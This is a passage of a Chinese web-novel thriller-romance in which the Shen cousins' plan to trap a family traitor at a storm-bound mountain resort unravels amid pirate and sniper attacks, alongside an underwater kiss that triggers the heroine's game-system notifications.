“……”白密愣了愣,这辈子都没这么无语过,他是绑匪不是警察,这肉票是不是吓傻了? 傅绥尔,“我赌你会同意。” “……”白密被逗笑了,“我刚刚说的你到底听懂没?” 傅绥尔点头,眸光清澈且坚定,“听懂了,所以我现在更应该去找他们。兰晞哥还不知道有另外的一伙人,万一他的计划出问题,他们会有危险的。” 白密皱眉,“他置你们的安危不顾你就不生气?要不是有我,你现在可能就已经死了了。” 傅绥尔沉默片刻,摇头,“你也说了,是老天没帮他,既然老天不帮,身为沈家人,我更责无旁贷。” 白密,“……” …… 宝宝们,除夕快乐,新的一年请多多指教。 第387章 三人之约 与此同时的廊桥边。 蹲守在暗处的男人一把甩下脸上的雨水,“老大,雨太大了,根本打不中。” “你他妈他们废就废,找什么借口?” 被唤作老大的男人举起手里的狙击枪瞄准暴雨中的沈清予。 “砰——” 一声枪响,子弹射穿雨帘毫无干系击中了十万八千里之外的石墩。 “……” “妈的!这给的什么垃圾枪!”男人骂骂咧咧闭上头戴,“看什么看?还不赶紧追?要让那只肥羊跑了,这一年都白干。” 几人立马带上头戴套,从腰间取下手枪,一边上膛一边往廊桥冲去。 沈清予回头看了看,神色沉着加快奔驰的速度。 桥廊的基地是石桥,上面是木制长亭,青灰屋檐四面临空。 “快追!” 子弹在暴雷中无差别攻击,为了恐吓沈清予,海寇一边跑一边开枪。 沈清予并未将身后的威胁放在眼里,因为这一切都在他们的计划中。他特意跑来警告周宴珩,就是为了将这群海寇引出来。按照计划,沈归灵现在应该已经策反了周宴珩的走狗,就埋伏在另一边的石桥边,只要他顺利把人引过去,这群海寇就会成为瓮中之鳖。 他心里清楚,今晚之事环环相扣,容不得半点差错,今晚的重头戏不是海寇,而是沈家的内奸,他们必须要在最短的时间内将海寇和周宴珩清出战场,不然若是三方混账,以他们现在的人力毫无胜算。 “老大,他要下桥了。” “别让他跑了。” 两方追逐十分激烈,子弹乱飞,流弹回弹阴差阳错从沈清予侧脸划过,瞬间,他的心好似被提了起来。 生死关头,容不得他畏惧,沈清予只停顿了一秒,抱着必成的信念继续向石墩狂奔。 终于,他穿过暴雨弹林到达了约定的埋伏点。 “沈归灵!” 沈清予大喊了一声,以此为信号。 “轰隆——” 回应他的只有滚滚雷声。 沈清予愣了愣,四处张望,石桥洞底空无一人。 怎么会这样? “砰——砰——” 身后的枪声越来越近,沈清予脸色阴沉,眼底情绪难辨,当知道被遗弃的这一秒中时间里,他把所有的可能都想了一遍,但最后他告诉自己,不能被抓住,一个人生死是小,他不能连累其他人。 沈清予回头看了石墩最后一眼,转身往健身馆方向跑去。 * 另一边的梨园。 沈兰晞坐在自己的房间里看雨。 “哗啦——” 突然,狂风呼啸撞开了面对庭院的木窗。 高止快步走进房间,“少爷,他们来了。” 沈兰晞眼眸顿沉,站起身,“衫衫和眠枝都安排好了?” 高止点头,“少爷放心。” 眼下生死局,未免沈兰晞分心,高止自动略过了密道室的不愉快。 沈兰晞点头,“那就按计划行事。” “少爷。”高止犹豫片刻,抬步拦在沈兰晞跟前,“您就这么信任阿灵少爷和清予少爷吗?” 沈兰晞皱眉,“高止,这件事已经商议过了。” 两年前,沈兰晞亲自抵达南湾,设局让沈归灵察觉他在追查襄英暗杀一事,后来有人突袭沈兰晞所在的酒店,还杀死了当时唯一的人质,由此契机,沈归灵猜中了对方所谋,便借着双方保镖的名义约了一场酒。 那晚南湾码头,两人如约而至。 沈兰晞想抓住这些年企图暗杀他的内鬼,沈归灵想让那个虚伪至极的男人落下神坛,基于他们有一样的目的,两人很快就达成了联盟。 这两年,沈兰晞经历的大小刺杀足有百场,随着自身条件不断强大,他对这种被人反制的感觉深恶痛绝,恰巧沈归灵又递来消息,得知顾家邀请一众小辈去北区山庄度假,有人又按耐不住了,派了当年襄英那群杀手打算一劳永逸。 沈兰晞原本想将这事告诉老爷子,可是这些指证只是空穴来风,无凭无据根本不能拿那个人怎么样,于是,他思来想去,决定设个局请君入瓮,到时候人赃并获也就容不得那人狡辩了。 考虑到对方是职业杀手,稍有纰漏后果不堪设想,为求谨慎,临行前一天,他特意让沈归灵和沈清予去兰园做客,并将自己的计划和盘托出。 沈清予一听说要抓内奸,暂时抛开了个人恩怨,难得好说话的无条件配合。 杀手为求隐晦定然会在夜晚行动,为了不打草惊蛇,沈兰晞特意安排支援暗线分两路出发, 谁料计划赶不上变化,山庄竟还有一队海寇潜伏,周宴珩因为怀恨在心随时可能搅局,但最棘手的还是这一场罕见的暴雨,这场雨破坏了沈兰晞出行前的所有规划,信号失联,支援暗线恐怕不能按计划抵达。 无奈之下,三人只得重新制定计划。 先由沈兰晞安抚人心,把所有人安全转移,再让沈清予做诱饵吸引火力,与沈归灵里应外合清理海寇,最后等他们那边结束,拿了海寇的军火再过来支援沈兰晞。 信号中断,暗线一定会察觉出不对,就算大雨拦路他们也一定会想尽办法进山,所以只要他们稳住今晚事情就会有转机。 这是沈兰晞、沈归灵、沈清予三人相互应下口的承诺,高止这个时候提出异议,即便沈兰晞知道他是出于忠心也难以附和。 高止瞥了沈兰晞一眼,小声道,“那是你们商议的,我又没有同意。” “……”沈兰晞抬眸看他,“需要你同意?” 高止梗着脖子,“怎么不需要?你要是出了事,我可就失业了。” 到时候他上哪再去找一份这么好的工作。 沈兰晞,“……” “少爷啊,您平时看着挺聪明的,怎么偏偏在这件事上犯糊涂?沈归灵和沈清予都是二房的人,那二房都是些什么角色?如果不是他们,您也不至于去清虚观一待就是八年,之前那些事您都忘记了吗?” 沈兰晞神色淡漠。 高止深吸了一口气,“少爷,防人之心不可无,那些杀手已经来了,可是约好的救援现在还没有动静,我们不能死守这一条路。” 沈兰晞不语,静静看着高止。 从八岁离家高止就一直陪着他,他不爱说话,高止怕他抑郁失语每天抓只猴,然后当着他的面跟猴吵架。后来,吵了一年高止发现他还是不爱说话,为了不让他觉得自己是个异类,高止立马调整策略开始扮深沉,从一个话痨变得惜字如金。 今晚,是他从回来沈家后话最多的一次。 沉默片刻,沈兰晞终于开口,“你到底想说什么?” 高止扑通一声,从内衬口袋里拿出一个小黑盒子,“我想说,少爷,我们还是给自己留一条后路吧,如果半个小时内他们不来,您也不能继续冒险,这里是北区,只要您按下黑盒,即使没有信号北区军营的卫星也能收到求救信号,他们是先生旧部,必定会不遗余力前来救您。比起二房两位少年,他们才更值得信任。” 这军令黑匣子是沈玺临死前留给沈兰晞的保命符,当初傅绥尔中枪垂危,沈兰晞就是用黑匣子才联系上了沈庄。这黑匣子出门时他留在了兰园,这个时候出现在这里,显然是高止违背了他的意愿。 沈兰晞并未挑在这个节骨眼责怪高止,只是反问他,“你知道如果惊动军方会有什么后果吗?” 他是烈士遗孤,如果让父亲的旧部知道他被沈家亲族迫害,他们一定会联合起来告到军部,到时候整个沈家都会有麻烦。沈兰晞正是考虑到这点,这些年即便查到什么也不敢声张。 在他看来,家丑不可外扬,沈谦不管如何恶毒他都是沈家人,他与自家里兄弟联手,说破天了都是家事,可若是外人插手,意义就不一样了。 “知道。”高止低着头,不敢看他,“可是少爷,您是先生唯一的血脉,您活着比什么都重要。” “……”沈兰晞转眸看向窗外的雷霆暴雨,神色淡然,“把东西给我。” …… 第388章 水下吻 “砰——” 弹夹穿过雨幕,精准打穿了廊庑的百年圆柱。 “!” 胡经理吓得两股颤颤,痴愣愣看向一旁的沈归灵,若不是他刚刚拽的及时,他差点就跟上一个一样被爆头了。 雨水囤积,很快就冲淡了石路上的血迹,草坪地上躺着一个男人,双目黯然眉心印着一个血窟窿。 沈归灵一行人蹲守在廊庑坡下,借着地势掩护才得以喘了上一口气。就在准备他们赶去廊桥与沈清予汇合时,突然遇到了伏击,当时并没有任何防备,对方一击爆头射杀了沈归灵身边的男生。 这一枪来的猝不及防,饶是沈归灵都愣住了。 他立马组织大家掩护,借时雨势暗中观察四周动静。 竟然能在这么大的暴雨中锁定目标,说明对方不仅枪法好,连手中的武器都是顶配。他之前与那些海寇打过交道,那些人可没这么大的本事。 沈归灵脸色凝重,若有所思看向草地上的尸体。 他们对他开枪,说明这些人不是沈谦派来的那批杀手,不是海寇也不是沈谦,更不可能是周宴珩,周宴珩手里只有射击馆的枪,那些货色可弄不出眼前的压迫感。 这些都不是…… 沈归灵眼中闪过暗芒。 是另外一伙人! 这个山庄潜入了另外一批他们不知道的杀手! “长官,怎么办?前路被拦住了,要不我们撤吧。” “不能退!”此刻,沈归灵眼峰如出鞘刀刃,全然没有了平日的温和,“我们的任务是去廊桥石墩汇合。” 要去廊桥,这美人亭是必经之地。 众人脸色难看,“可是……” “没有可是。”沈归灵俯下身,贴着地面听动静,“附近有水声。” “我……我想起来了!”胡经理脸色激动,“去美人苑!那里的其中一个房间的泳池连着内湖,我们可以从游过去。” 沈归灵思考片刻便有了决定,“带路。” “好。” 胡经理跪趴在地上,带头领头,其余人借着凉亭掩护紧随其后。 过了凉亭,几人迅速冲进内院。 沈归灵,“哪间房?快!” “这!跟我来。”胡经理生怕下一秒子弹就窜到了他眼前,恨不得长了八只脚全速前进。 “就是这。” 沈归灵看了一眼,开枪打烂锁核,推门而出。 恰巧这时,屋里闪过一道黑影,沈归灵下意识抬手瞄准,身后众人也纷纷举枪。 忽然,他眸光震动,回头打下身后的手,将墙上的电卡插入卡槽。 霎时,屋里灯火通明,紧接着又传来扑通一声落水声。 沈归灵赶紧跟着跳入池中,眼见那身影如人鱼潜入池底,沈归灵深吸了一口气紧随而上,一把拽住那人细白的脚踝。 那人不是别人,正是被她追杀到美人苑的姜花衫。 感觉到有人脚上的束力,姜花衫只怔愣了一秒,随即在水中转身一脚踹向沈归灵的脸。 沈归灵没想到她在水中竟然如此灵活,迎面被踹个正脸差点漏气呛水,只能被迫松开。姜花衫原本想逃,忽然想到什么,直接来了个360度水中旋转,她的身体好似柔软海草,轻飘飘就绕到了沈归灵身后。 以出其不意的手速直击沈归灵的腹部。 “!” 沈归灵脸色微变,一口气没有提上来,湖水直接呛进了口鼻。 姜花衫之前已经利用这招干掉一个了,眼下越发得心应手,眼看男人四周鼓满气泡,她得意笑了笑。 就在她返身准备撤离时,那人突然反应过来,一把扣住她的后脑勺,贴身吻了上来。 …… 第389章 我不能丢下你 湖底无光,能见度极低,那身影贴上来的时候姜花衫措不及防,一时忘了挣扎。 沈归灵半垂着眼睑,动荡的眸光比阳光照射在湖面的金鳞还闪耀。 他将手指穿进摇摆的青丝,趁姜花衫尚未反应低头吻上了渴望已久的红唇。 冰冷的湖水隔绝了一切声音,视觉听觉同时失效,触觉在这一刻被无限放大。 沈归灵原本只想渡口气,但她的唇比想象中的还要软,浅尝辄止的厮磨并不能止渴,反而惊醒了更深的欲望。 想要更多。 他游往上位,手掌渐渐收力,勾缠着散乱的青丝迫使姜花衫抬头,另一只手捧住她的侧脸,咬住柔软的下唇,无师自通抵唇吻了进去。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.99999999999999999999999999999999999%】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发……】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.99999999999999999999999999999999999999%】 “!” 姜花衫登时身体僵硬,用力甩头想要摆脱桎梏。 沈归灵早预料到她不会乖乖听话,两只手稳稳固定她的脸。 他像个莽撞的入侵者,什么都垂涎,连她嘴里的呼吸都一并撕咬纠缠。 冰冷的湖水从张张合合的唇缝中灌入,湖底深度渐渐腾旋出一个个气泡。 “……” 这狗东西。 姜花衫改变策略,故意放松身体慢慢贴近,等沈归灵放松警惕,她毫不迟疑伸腿踹向裆下。 沈归灵眼底闪过异样,水下并不好控制力道,姜花衫那一脚并没有起到实质伤害,然后激起了他更强的破坏欲。 “嗯嗯嗯!” 她用力敲打沈归灵的肩膀示意他松口,但沈归灵停不下来,为了报复她刚刚那一脚,抵着下颚勾住她的舌尖发狠咬了一口。 “……” 岂有此理,99的鱼还敢咬她? 她只是不想为了一个任务去钓鱼,不代表她不会钓鱼。 就沈龟灵现在的好感值,她随便动一动他都招架不住。 姜花衫眼底泛起一抹凶光,攀着沈归灵脖子仰着头热情回应。 沈归灵全身被电的酥麻,灵魂好似一下被抽离了躯体。 感觉到他在走神,姜花衫划动双腿缠住他的腰,开始反客为主。 沈归灵一下被惊醒,双手抵着姜花衫的肩膀把人推了出去。 感觉自己好像要烧起来了,他几乎没有犹豫,反身向湖面游去。 这就跑了? 姜花衫吐了一个泡泡,双腿往上一蹬追了上去,她的速度比沈归灵快,追上半个身位,扑身抱住沈归灵的腰。 沈归灵一时不防,呛进了一口湖水,眼底透着凶光怒视始作俑者。 姜花衫破罐子破摔,直接上手扒裤子。 沈归灵眉心跳了跳,一把扣住姜花衫的手,他不敢使劲最后只能改成扒拉。 就趁现在! 姜花衫在空中一个回旋踩着沈归灵的脸蹬腿游了上去。 沈归灵,“……” “哗啦——” 浮出水面,姜花衫狠狠喘了一口气,迎着暴雨往湖边游去。 刚准备上岸,脚踝被人扣住了。 没完了是吧? 她咬了咬牙,随手在湖边抓了一团泥巴朝身后砸去, 沈归灵偏头,泥巴擦过耳畔掉进了湖水里,姜花衫抬腿踹了踹他的肩膀,沈归灵眼尾猩红慢慢松了手。 姜花衫手脚并用爬上岸,顺手又从地上挖了一团泥巴,沈归灵正要躲,下一秒就听见她凶巴巴吼道,“不准动。” 沈归灵,“……” 她瞄准了抛出,泥巴吧唧一下砸在他的脸上。 暴雨迎面泼来,泥土瞬间被冲走了一半。 沈归灵抬手准备擦。 姜花衫,“不准擦。” “……”沈归灵指尖顿住。 电闪雷鸣为幕,两人在狂风暴雨中对望。 “我……”刚张口,嘴角传来一次抽痛,沈归灵眼神微顿,哑声说道,“我不知道水下的人是你,我当时溺水了。” “……”姜花衫嘴角抽了抽。 不知道?要不是她脑子里报了一连串的999差点就信了。 沈归灵不觉想起她最后的反扑,收敛是眸底的星光,故作无意,“那你呢?你知道是我吗?” 姜花衫微愣,突然变凶,“我当然不知道!我要以为……” 沈归灵眉梢冷了下来,“你以为什么?” 钓鱼怎么能让鱼知道? 姜花衫抬头看天,“我以为是那个一直追着我的杀手。” “杀手?”沈归灵神情微动,盯着姜花衫上下打量,“我正要问你,为什么会出现在这?你不是应该跟着她们待在避难密室吗?” 姜花衫斜眼睨了他一眼,“你们凭什么规定我在哪?我爱在哪就在哪。”说罢,冷笑了一声掉头就走。 沈归灵皱眉,赶紧跟上岸,一把拉着她,“你要生气也该看看现在什么情况?你要出了什么事,你让爷爷怎么办?” 姜花衫反手甩开沈归灵的手,“你现在知道说爷爷了?你和沈兰晞、沈清予关起门密谋的时候怎么没想过要给爷爷交代?” 沈归灵原以为她是因为水下的事生气,没想到是因为他们的隐瞒,姜花衫的当头棒喝让他突然意识到,她刚刚正孤身一人在湖底逃命。 多么可笑,他和沈兰晞自诩算无遗策把什么都安排好了,结果竟然漏了最重要的一个人。 他想试着解释他们也有苦衷,可刚开口却发现自己找不到任何开脱理由。 今晚的一切都脱轨了,这一刻他从未觉得自己这么无能过。 “没话说了?” 沈归灵摇头,“无话可说。” 姜花衫看了他一眼,正欲转身,忽然耳边传来一声枪鸣,子弹穿过雨幕击中了岸边的柳树。 “小心。”沈归灵脸色骤变,顾不上其他,一把将姜花衫拉进怀里,以身体掩护她往树后退。 姜花衫一把推开他,起身准备自己跑。 沈归灵强行将她扣在怀里,“我知道你生气,但是现在很危险,你在这蹲着,我把这群人引开。” “你别去!”姜花衫反手拽住沈归灵。 沈归灵回头看着她,眸底噙着戏谑的笑意,“你这么拖着我,是想和我死在一起吗?” 原以为她会被这话激怒,谁知姜花衫直接拽着他的裤头,用力一拽,“我叫你回来听不懂吗?” “……”沈归灵嘴角僵硬,歪着身子默默拉着裤腰。 姜花衫四处看了看,挽着沈归灵的胳膊紧紧靠着大树。 沈归灵出神看着他们交缠相抵的臂膀,这一刻他感受到了前所未有的安宁,原来有人相依相随的时候,生死真的一点都不重要。 “沈归灵。”姜花衫侧头,巨大的水滴落在她的鼻尖,“我们一起破局吧?” 第390章 遵守承诺 这怎么是丢下她?他们在一起破局啊。 姜花衫愣了愣,忽然意识到一个问题,沈归灵没有她的视角,在他看来沈兰晞和沈清予有照顾自己的能力,可她没有,他现在是99的鱼,不可能丢下她不管。 可那群杀手是冲着她来的,如果她和沈归灵一起去石桥,到时候杀手和海寇合伙,他们就更没有胜算了。 必须要想办法说服沈归灵。 “沈……” 刚张口,沈归灵直接打断,“你不用说了,现在就算爷爷在这,也一定会支持我的做法。” “……” 连爷爷都搬出来了。 沈归灵抬头看了看天色,准备起身。,“总待在水里也不是办法,我待会把人引走,你去找机会躲起来,刚刚那个房间 “沈龟灵!” 姜花衫一把拽着沈归灵的胳膊,抵着他的肩膀把人压树上。 “……”沈归灵眉心跳了跳,轻斥,“下来。” 姜花衫顺手从地上拔了一根草递到他面前,“最后一页书签在家里没带,先用这个抵上。” 沈归灵皱眉,眼里喊着愠怒,“姜花衫。” 姜花衫直接无视,不仅压着他的人,还压着他的声音,“去石桥找沈清予。” “轰隆——” 紫电从九霄之外横空斩下,昏暗萧瑟的庄园霎时亮如白昼,那一瞬间的光影让他们看清了彼此的眼睛。 心有龃龉的人如何能与星辰对视? 沈归灵率先败下阵,原本腾升的怒气也莫名哑火,他有些无奈,声音软化了不少,“到底为什么连命都不要,一定要我赶回去?” 姜花衫犹豫片刻,眸中闪过坚定,“因为这对我来说比命更重要。” 经过五年的朝夕相处,她愿意去赌,沈兰晞、沈归灵、沈清予一定不是杀害爷爷的凶手,上一世他们分崩离析各自为营才让贼人钻了空子,可若这一世,他们没有猜忌没有内斗,他们也会向她一样用生命去保护爷爷。 沈归灵半垂着眼睑,嘴角绷直一言不发。 姜花衫,“有件事我还没来得及告诉你,绥尔被人掳走了。” 沈归灵一愣,眼中闪过暗芒。 “沈归灵,你相信我吗?” 沈归灵抬眸,眼神复杂看着她,他知道接下来她一定会想办法说服他。 姜花衫,“我不会有事的,因为这个世上除了我自己没人能杀死我。” 沈归灵看着她,没有接话。 姜花衫挑了挑眉,“不信?那我证明给我看。” 说着她转身窜出大树,站在毫无遮挡的空的对着湖岸摆手,“打我啊,煞笔!” “砰——” 一声枪响,姜花衫站在原地一动不动,子弹击破重重雨幕从她耳侧擦肩而过。 “!” 沈归灵完全摸不准她的套路,等反应过来的时候手脚冰凉,心乱的厉害。 姜花衫立马又窜回他身边,挑眉,“你看见了,我就算站着不动他们都打不着。但换做是你就不一定了。” 沈归灵脸色阴沉。 “你不信,那我再试一次。” 说着,又准备窜。 沈归灵闭了闭眼,一把扣住她的手腕,喉间酸涩,“我信。” 他那么聪明,从姜花衫第一次开口让他回去,他就已经意识到有人设了离间局。 可是他们已经身在局中,无法回头了。 就如他现在,明知是局也只能将错就错,因为他不敢赌,如果回去接应沈清予,沈清予不在石桥,那他又该怎么办?说到底,他也不信沈清予和沈兰晞会死守承诺,有其代价还是丢下姜花衫。 原本他早就做出了选择,可万万没想到姜花衫完全不按常理出牌,逼得他不敢说不信。 姜花衫摇了摇手中的青草,“沈归灵,一起破局吧。试试我的方法,或许雨马上就停了。” 沈归灵嗯了一声,抬手捞起她垂落的头发,指尖一动勾出藏在手腕的小熊头绳,随意绑了个马尾。姜花衫还没反应,他面无表情接过了她手上的小草。 “不要失约。” * 两千米开外的塔楼。 “草!又他妈打偏了,这女的到底什么来头,追了她一晚上全是空弹,这要传出去老子以后在道上还怎么混?”潜伏在暗处的男人皱了皱眉,起身擦去瞄准镜上的雨珠。 夏星沉拿着望远镜朝对着湖岸扫射,“刚刚她站着没动?你不是号称三千米内一击必中吗?” 说到这,男人更气了,提枪瞄准湖岸,恰巧涨池一只蛤蟆跳上了岸,男人扣动扳机,蛤蟆凌空那一秒被开膛破肚。 “看到了,老子枪法没问题,是那女的邪门。算了,要不换个人杀?” 夏星辰不冷不热,“老板指定要杀她,换个人,你找谁结工钱?” 男人一脸晦气,要知道今天会遇上职业生涯的滑铁卢当初就应该加价的。 “阿沉。” 这边正说着,又有两人上了塔楼,其中一人浑身湿透,连脸上的头套都被摘下了。 “那小丫头好厉害,阿生差点着了她的道。” 夏星沉淡淡扫向被唤作阿生的男人,“你的头套呢?” 男人脸色尴尬,他原以为一个小丫头片子不足为虑,没想到在水下险些被暗算溺毙,那丫头还趁机抢了他的头套。 夏星沉,“她看见你了?” 阿生摇头,“当时水下很暗,她应该没看清楚。” 同行的伙伴见状帮着岔开话题,“那丫头往北苑去了,咱们赶紧追吧。” 狙击男啧了一声,开始收枪,夏星沉也没再说话,等东西收好两人赶紧走在前面下竹楼。 夏星沉从口袋里掏出消音枪对着阿生,一枪爆头。 “阿沉!你干什么?” 同行的男人吓了一跳,神色惊恐看着始作俑者。 夏星沉却像什么都没有发生一般从阿生的尸体上跨过,“他现在死还能得到一大笔钱,如果让老板知道他泄了底,不但他活不了,就连我们都活不了。” 狙击男神情冷漠,“快走吧,肥鱼要是跑了,今晚可就白干了。” …… 第391章 无形的羁绊 娱乐区,健身馆。 海寇手里拿着枪械,挨个房间搜捕,转了一圈没发现人影开始骂骂咧咧。 “妈的,这小子真是比泥潭里的泥鳅还还滑,又让他给跑了。” “老大,要不咱们换个地方,再这么喊下去天就亮了。” 海寇老大脸色阴沉,举目环顾,犹豫片刻点头,“先去桥下那边的院子看看。” 此时沈清予就藏在楼道的电井里,听闻这群海寇要去梨园心一下悬了起来。 等了一会儿,海寇们的脚步声越来越远,沈清予m猫着腰从电井爬了出来,为防有诈他贴着墙壁偷偷跑去景观玻璃台查看情况。 暴雨几乎挡住了所有视线,但还是隐约能看见有几个身影朝梨园方向去了。 沈清予脸色凝重,向来玩世不恭的脸上多了几分戾气。 不能让他们过去。 梨园现在都是杀手,如果这群海寇再过去,沈兰晞招架不住,虽然他一定留有后手,但他一定会怀疑是他和沈归灵设的局。 该死的沈归灵,到底死哪去了?! “轰隆——” 雷声滚滚,乌云不断在山庄上空集结,黑云压城如临深渊。 海寇们护着手里的枪,冒着暴雨疾驰,就在他们转过前面一滩洼地时,其中一人忽然被人用跳绳绳索勒住了脖子。 “救……救……” 没等他呼救,沈清予手握绳柄从三米高的挑檐纵身跳下,另一端的海寇身体腾空,眼珠翻白挣扎了两下就咽气了。沈清予从高空跳下后在地上滚了一圈,立马爬起来跑。 这转变来的猝不及防,其他海寇被吓得脸色血色全白,待沈清予的身影登时勃然大怒。 这个节骨眼竟然还敢当着他们的面反杀他们的同伴,简直找死。 海寇们立马调转方向,掏出手枪追杀沈清予。 “抓住他!” 子弹在身后集结,沈清予一边逃跑一边辨别方向,现在摆在他面前的有两条路,一条去酒店大堂,一条去廊桥,如果去大堂,出了山庄外面地势复杂应该能躲过去,但如果他躲过去了,这些海寇一定又会折回来去梨园。 犹豫片刻,沈清予转身又向廊桥跑去。 “老大,这小子又往桥那边去了。” 海寇老大一把甩下脸上的雨水,取下背上的狙击枪瞄准沈清予的后脑心。 “砰——” 子弹喷射而出。 沈清予的背影一顿,扑身栽倒在雨地里。 “老大!打中了那小子的腿!”小弟们一脸崇拜看向海寇老大。 男人嘴角抽了抽,妈的,他刚刚不是瞄准头吗?怎么中的是脚。不管怎么样,中了就好。 “嗷什么嗷,改不赶紧追。” 沈清予强忍着腿部的灼烧感,咬牙爬了起来,刚跑两步又跌倒在地。 他挣扎着往石桥爬去,爬到一半突然放弃了,反身面朝夜幕,雨中重重拍打着他腿上的伤,身下渐渐晕开了粉色水波。 “臭小子,可算逮着你了,怎么不跑了?跑啊?” 海寇叫嚣着上前踢了沈清予一脚,子弹上膛,瞄准对着他的另一只脚,“小王八蛋,要不是看在你还值点钱的份上,老子早送你见阎王了。这么能跑,废了你的腿看你还怎么跑。” “轰隆——” “砰——” 雷声和枪声一并而起。 * 另一边梨园。 “砰砰砰——” 三个身形高大的黑衣男人双手持枪,毫无目的扫射,子弹穿过雨帘四处乱飞,庭院中央横七竖八躺着几具尸体,血水染红了辗落的梨花。 高止死死守着最后一道防线,“少爷,已经一个小时了。” 沈兰晞发丝凌乱,垂落的刘海遮住了眼里的情绪,他现在狼狈至极。 高止不忍,但还是不得不提醒,“少爷,留得青山在不愁没柴烧。” 沈兰晞眼眶微红,声音淡的没有一丝情绪,“最后五分钟。” 高止沉默片刻,将唯一一把满弹的手枪丢给沈兰晞。 “好,我陪少爷。” * “砰——砰——砰——砰” 石桥下湖水奔流不息,岸边四声枪响齐发。 四名海寇还没反应过来胸前就爆开了花,来不及眨眼垂直倒了下去。 沈归灵带着一行人从桥底爬上岸,随行学生二话不说开始检查海寇的尸体。 “报告长官,目标已全部击毙。” “把枪带上。” 沈归灵转头看向雨地里的沈清予,沉默片刻快步走了过去。 “你还好吧?”他脸上没什么多余神情,但说这话的时候主动伸了手。 “啪——” 沈清予一巴掌拍下他的手,“你眼瞎啊?没看见老子中枪了?!” 沈归灵若无其事收回手,“废物。” “草。”沈清予一个伏地起身,单脚独立拽住沈归灵的衣襟,“你个傻逼还好意思说我?要不是你晚了一个小时老子至于这样?” “予哥,消消火。” 被策反的男生生怕沈清予误会,赶紧解释,“予哥,长官也是没办法,你是不知道我们中途遇见了个神枪手,要不是长官把人引走,现在还赶不过来。” “是啊是啊。”胡经理跟着点头应和,“清予少爷,要不是阿灵少爷反应快,我们就全军覆没了。” 沈清予眼神微动,转头看向其他人,“怎么是你们三个,还有一个呢?” 男生们顿时脸色难看,低着头不说话,同窗两年,说没了就没了,这换谁都不好受。 沈清予顿觉喉间发酸,又转头打量沈归灵,他这才发现这傻逼脸上都是污泥,嘴角还裂开了一道口子,“你……” 你了半天,他还是说不出好话,松了手故意推了沈归灵一把,“你他么也是废物。” 沈归灵懒得跟他计较,“沈兰晞呢?” 沈清予收敛情绪,抬眸望向梨园的方向,“都一个小时了,不知道死了没?” 沈归灵从胡经理手里拿过冲锋枪丢给沈清予,“还能不能走?” 沈清予顺手撕下胡经理的衬衫,用力绑住中弹的小腿。 “能,万一死了,我去收个尸,爷爷那也好有个交代。” * 梨园。 高止神情麻木看着沈兰晞,“少爷,五分钟到了。” …… 第392章 一局又一局 “砰——” 子弹穿过木格花窗击碎了屋里的琉璃灯,玻璃碎裂的炸响声在屋内静静回荡。 沈兰晞垂眸看着手里的黑匣子,黑曜的眼瞳里淡的没有一丝情绪。 一开始,他就不应该轻信的。 这一刻他好似回到了十二年前的那个夜晚,他从惊厥中醒来,那些平日里和善友好的叔伯,打着为他着想的幌子劝爷爷把他送去精神科治疗。 他们都说他七情淡薄,却不知他本是七窍全开之人,那一刻他看着亲族化身魑魅魍魉惺惺作态他只觉厌恶至极,因为不愿被同化索性割断了这份情。 清虚观远避世俗,七年时间与山水为乐他早已习惯了这份淡薄,可谁能想到初回家中就遇见了人生中最大的一场雨。 在那场雨里,他看见了与葬礼上完全不一样的感情,他忽然想起,父母在世之前对他的期待也是希望他能活成太阳,热诚骄傲。 从此,那场雨在他心里留下了温暖的裂缝。 人非草木,孰能无情? 五年朝夕相处,即便一开始各自为王针锋相对,但他们始终都保留着骄傲的底线,也正是因为这条底线让他选择了相信。 这场雨似乎与五年前的完全不同。 沈兰晞的指尖划过按钮,忽然又想到什么,指尖一顿。 “再等五分钟。” “行。”高止爽快点头,偷眼瞥沈兰晞一眼,五分钟又五分钟,没完没了的是吧! 趁他没防备眼神突变,飞身跳起将人扑倒,干脆利落抢过黑匣子。 沈兰晞脸色微变,目光严肃,“高止,你做什么?!” 高止抱着黑匣子滚了一圈躲进角落,“既然少爷不愿做有损沈家的事,这个坏人就由我来做。” 沈兰晞,“今晚的事有些寻常,再等等。” 高止直接一个白眼,暴露本性,“什么不寻常?你个菜鸡!现在明摆着我们被人耍了,别说五分钟,就是再过一百分钟沈归灵他们也不会来,他们要是来了,我立马吃屎,吃一斤!” 话音刚落。 “砰砰砰——” 庭院连响三声。 狙击枪的弹道与冲锋枪和手枪不同,如沈兰晞和高止这种长期与军械打交道的人一听就知道。 两人神色微愣,还没反应,屋顶突然破了一个洞,从天而降掉下两把冲锋枪。 沈兰晞和高止现在藏匿的地方是大家事先商量好的,屋顶上方也提前做了记号,他们之所以藏在这个房间不走,就是为了方便沈归灵能在两千平的院子里第一时间找到人。 所以当两把冲锋枪丢进屋子时,此刻已经不需要任何言语。 沈兰晞眸光滟动,正要起身捡枪,突然身前滚过一道黑影,一道完美的抛物线从半空划过,手里多了个黑匣子。 高止左右挂着两把冲锋枪,眼神骤变,“杀啊!!!” “……”沈兰晞低头看了看手中短小的手枪,开始怀疑高止忠仆的身份。 * 中心楼院。 同行的男生脸色惶恐,“阿珩哥,我刚刚躲在塔楼看的清清楚楚,沈兰晞他们的院子已经被人包围了,那些人应该是职业杀手,火力很猛。” 关鹤拿着望远镜在窗边探哨,听了男生的话脸色阴沉,“草,这他妈的都是些什么事,怎么还有杀手?” “你当塔尖的宝座这么好坐?” 周宴珩说的风轻云淡,但眼神却带着几分不寒而栗的锐气。 原本他以为今晚的战局是他的主场,没想到竟然出现这么多搅局的人,这种失控的感觉让他十分不快。 “阿珩哥,我们怎么办?那群人杀完梨园一定会过来灭口,我们先找个地方躲起来吧?” “躲?”周宴珩起身一脚踹向男生的膝盖,“游戏才刚刚开始?躲哪去?” 男生害怕缩了缩脖子,满脸无措看着周宴珩。 周宴珩笑了笑,人畜无害轻轻拍打男生的脸颊,“顾玉珠呢?” 男生咽了咽口水,“在……在房间。” “去把她带过来。” “是。”男生懦弱点了点头,捂着膝盖小跑出了房间。 关鹤略有疑惑看向周宴珩,“你把她弄来做什么?” 周宴珩,“杀人游戏当然是越多人参与越好玩。” “……”关鹤皱了皱眉,“阿珩,别玩过了,这些人可不是暗网里的私奴,弄不好可是会引火上身的。” 周宴珩一脸无所谓,“你玩不玩?” 关鹤顿了顿,“我不玩杀人,我玩别的。” 比起周宴珩这种喜欢玩弄别人的恶兴趣,关鹤自诩自己高尚的多,他就喜欢睡女人。 